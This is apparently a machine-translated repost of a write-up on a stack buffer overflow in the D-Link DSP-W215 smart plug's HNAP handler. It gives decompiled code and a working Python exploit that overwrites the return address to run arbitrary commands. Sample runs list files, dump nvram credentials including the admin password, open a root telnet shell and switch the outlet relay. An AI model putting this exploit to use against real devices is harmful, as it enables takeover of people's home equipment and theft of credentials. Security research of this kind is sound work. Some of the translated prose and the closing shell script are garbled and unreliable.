0x00 background
The D-Link DSP-W215 smart outlet is a socket that uses a wireless control power switch. You cannot buy firmware from Amazon or best practices, but you can download the firmware from the D-Link website ).
DSP-W215 has a stack overflow vulnerability that can control the entire socket device, but also control the switch of other electrical equipment on the socket device.
0x01 analysis
Analyze the socket firmware:
Lzma compression, linux File System, and uimage kernel.
Decompress and check the file content. If you find that there is no web-based management interface, you can only use the Android or IOS app it provides for management. The app uses HNAP (Home Network Management Protocol ).
HNAP is based on the soap protocol, and its req/res is as follows:
More view http://www.cisco.com/web/partners/downloads/guest/hnap_protocol_whitepaper.pdf
This smart outlet uses the lighttpd lightweight server to implement HNAP protocol transmission. From the perspective of lighttpd configuration, HNAP requests are sent/www/my_cgi.cgi
.
...alias.url += ( "/HNAP1/" => "/www/my_cgi.cgi", "/HNAP1" => "/www/my_cgi.cgi",...
Although HNAP is a protocol that requires authentication, some actions are not required, such as obtaining device information settings.
HNAP request data is processed by the do_hnap function in my_cgi.cgi. Do_hnap first processes the Content-Length header specified in the post request.
The conversion length (str) is int.
Then, it reads the above-mentioned bytes of data into a stack with a fixed size allocated. (500,000 bytes)
The code for converting F5 to c is:
int content_length, i;char *content_length_str;char post_data_buf[500000]; content_length = 0;content_length_str = getenv("CONTENT_LENGTH"); if(content_length_str){ content_length = strtol(content_length_str, 10);} memset(post_data_buf, 0, 500000); for(i=0; i<content_length; i++){ post_data_buf[i] = fgetc();}
Obviously, content_length is not checked. Data larger than 500,000 bytes can be written for overflow, but the stack does not only contain the post_data_buf array, so 1,000,020 overflow is required.
perl -e 'print "D"x1000020; print "A"x4' > overflow.txtwget --post-file=overflow.txt http://192.168.0.60/HNAP1/
Arm registers really hurt.
Because it is the data obtained by getc, null bytes can be passed in. In the my_cgi.cgi process, the system address 0x00405CAC needs to be read into NULL bytes.
Therefore, you only need to overwrite the return address to 0x00405CAC, and add the 28-bit offset of the stack to the command code to be executed.
0x02 EXP
import sysimport urllib2 command = sys.argv[1] buf = "D" * 1000020 # Fill up the stack bufferbuf += "\x00\x40\x5C\xAC" # Overwrite the return address on the stackbuf += "E" * 0x28 # Stack fillerbuf += command # Command to executebuf += "\x00" # NULL terminate the command string req = urllib2.Request("http://192.168.0.60/HNAP1/", buf)print urllib2.urlopen(req).read()
Data obtained after execution:
eve@eve:~$ ./exploit.py 'ls -l /'drwxr-xr-x 2 1000 1000 4096 Jan 14 14:16 bindrwxrwxr-x 3 1000 1000 4096 May 9 16:04 devdrwxrwxr-x 3 1000 1000 4096 Sep 3 2010 etcdrwxrwxr-x 3 1000 1000 4096 Jan 14 14:16 libdrwxr-xr-x 3 1000 1000 4096 Jan 14 14:16 libexeclrwxrwxrwx 1 1000 1000 11 May 9 16:01 linuxrc -> bin/busyboxdrwxrwxr-x 2 1000 1000 4096 Nov 11 2008 lost+founddrwxrwxr-x 7 1000 1000 4096 May 9 15:44 mntdrwxr-xr-x 2 1000 1000 4096 Jan 14 14:16 mydlinkdrwxrwxr-x 2 1000 1000 4096 Nov 11 2008 procdrwxrwxr-x 2 1000 1000 4096 May 9 17:49 rootdrwxr-xr-x 2 1000 1000 4096 Jan 14 14:16 sbindrwxrwxr-x 3 1000 1000 4096 May 15 04:27 tmpdrwxrwxr-x 7 1000 1000 4096 Jan 14 14:16 usrdrwxrwxr-x 3 1000 1000 4096 May 9 16:04 var-rw-r--r-- 1 1000 1000 17 Jan 14 14:16 versiondrwxrwxr-x 8 1000 1000 4096 May 9 16:52 www
You can also directly dump the Configuration:
eve@eve:~$ ./exploit.py 'nvram show' | grep adminadmin_user_pwd=200416admin_user_tbl=0/admin_user_name/admin_user_pwd/admin_leveladmin_level=1admin_user_name=adminstorage_user_00=0/admin//
Or you can use telnet to obtain a shell.
eve@eve:~$ ./exploit.py 'busybox telnetd -l /bin/sh'eve@eve:~$ telnet 192.168.0.60Trying 192.168.0.60...Connected to 192.168.0.60.Escape character is '^]'. BusyBox v1.01 (2014.01.14-12:12+0000) Built-in shell (ash)Enter 'help' for a list of built-in commands. / #
Turn on/off
/var/sbin/relay 1 # Turns outlet on/var/sbin/relay 0 # Turns outlet off
The author also developed a script to flash the light:
#! /Bin/sh OOK = 1 while [1] do/var/bin/relay $ OOK if [$ OOK-eq 1] then OOK = 0 else OOK = 1 fidoneD-link' this vulnerability also exists in s DIR-505L.
From: http://www.devttys0.com/2014/05/hacking-the-d-link-dsp-w215-smart-plug/